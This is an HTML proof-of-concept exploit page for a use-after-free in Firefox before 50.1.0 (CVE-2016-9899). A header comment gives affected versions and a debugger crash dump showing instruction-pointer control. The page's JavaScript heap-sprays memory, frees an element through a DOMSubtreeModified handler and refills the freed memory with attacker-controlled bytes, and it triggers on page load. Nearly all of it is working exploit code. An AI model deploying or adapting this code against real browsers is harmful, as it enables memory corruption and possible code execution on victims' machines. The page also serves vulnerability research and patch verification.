106 lines
No EOL
4 KiB
HTML
106 lines
No EOL
4 KiB
HTML
<!DOCTYPE html>
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<html>
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<head>
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<!-- <meta http-equiv="refresh" content="1"/> -->
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<meta http-equiv="content-type" content="text/html; charset=UTF-8">
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<meta http-equiv="Expires" content="0" />
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<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />
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<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />
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<meta http-equiv="Pragma" content="no-cache" />
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<style type="text/css">
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body{
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background-color:lime;
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font-color:red;
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};
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</style>
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<script type='text/javascript'></script>
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<script type="text/javascript" language="JavaScript">
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/*
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* Mozilla Firefox < 50.1.0 Use-After-Free POC
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* Author: Marcin Ressel
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* Date: 13.01.2017
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* Vendor Homepage: www.mozilla.org
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* Software Link: https://ftp.mozilla.org/pub/firefox/releases/50.0.2/
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* Version: < 50.1.0
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* Tested on: Windows 7 (x64) Firefox 32 && 64 bit
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* CVE: CVE-2016-9899
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*************************************************
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* (b1c.5e0): Access violation - code c0000005 (first chance)
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* First chance exceptions are reported before any exception handling.
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* This exception may be expected and handled.
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*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Mozilla Firefox\xul.dll -
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* eax=0f804c00 ebx=00000000 ecx=003be0c8 edx=4543484f esi=003be0e4 edi=06c71580
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* eip=6d7cc44c esp=003be0b8 ebp=003be0cc iopl=0 nv up ei pl nz na pe nc
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* cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
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* xul!mozilla::net::LoadInfo::AddRef+0x3dd41:
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* 6d7cc44c ff12 call dword ptr [edx] ds:002b:4543484f=????????
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* 0:000> dd eax
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* 0f804c00 4543484f 91919191 91919191 91919191
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* 0f804c10 91919191 91919191 91919191 91919191
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* 0f804c20 91919191 91919191 91919191 91919191
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* 0f804c30 91919191 91919191 91919191 91919191
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* 0f804c40 91919191 91919191 91919191 91919191
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* 0f804c50 91919191 91919191 91919191 91919191
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* 0f804c60 91919191 91919191 91919191 91919191
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* 0f804c70 91919191 91919191 91919191 91919191
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*
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*/
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var doc = null;
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var cnt = 0;
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function m(blocks,size) {
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var arr = [];
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for(var i=0;i<blocks;i++) {
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arr[i] = new Array(size);
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for(var j=0;j<size;j+=2) {
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arr[i][j] = 0x41414141;
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arr[i][j+1] = 0x42424242;
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}
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}
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return arr;
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}
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function handler() { //free
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if(cnt > 0) return;
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doc.body.appendChild(document.createElement("audio")).remove();
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m(1024,1024);
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++cnt;
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}
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function trigger() {
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if(cnt > 0) {
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var pl = new Array();
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doc.getElementsByTagName("*")[0].removeEventListener("DOMSubtreeModified",handler,false);
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for(var i=0;i<4096;i++) { //replace
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pl[i]=new Uint8Array(1000);
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pl[i][0] = 0x4F;
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pl[i][1] = 0x48;
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pl[i][2] = 0x43;
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pl[i][3] = 0x45; //eip
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for(var j=4;j<(1000) - 4;j++) pl[i][j] = 0x91;
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// pl[i] = document.createElement('media');
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//document.body.appendChild(pl[i]);
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}
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window.pl = pl
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document.getElementById("t1").remove(); //re-use
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}
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}
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function testcase()
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{
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var df = m(4096,1000);
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document.body.setAttribute('df',df);
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doc = document.getElementById("t1").contentWindow.document;
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doc.getElementsByTagName("*")[0].addEventListener("DOMSubtreeModified",handler,false);
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doc.getElementsByTagName("*")[0].style = "ANNNY";
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setInterval("trigger();",1000);
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}
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</script>
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<title>Firefox < 50.1.0 Use After Free (CVE-2016-9899) </title>
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</head>
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<body onload='testcase();'>
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<iframe src='about:blank' id='t1' width="100%"></iframe>
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</body>
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</html> |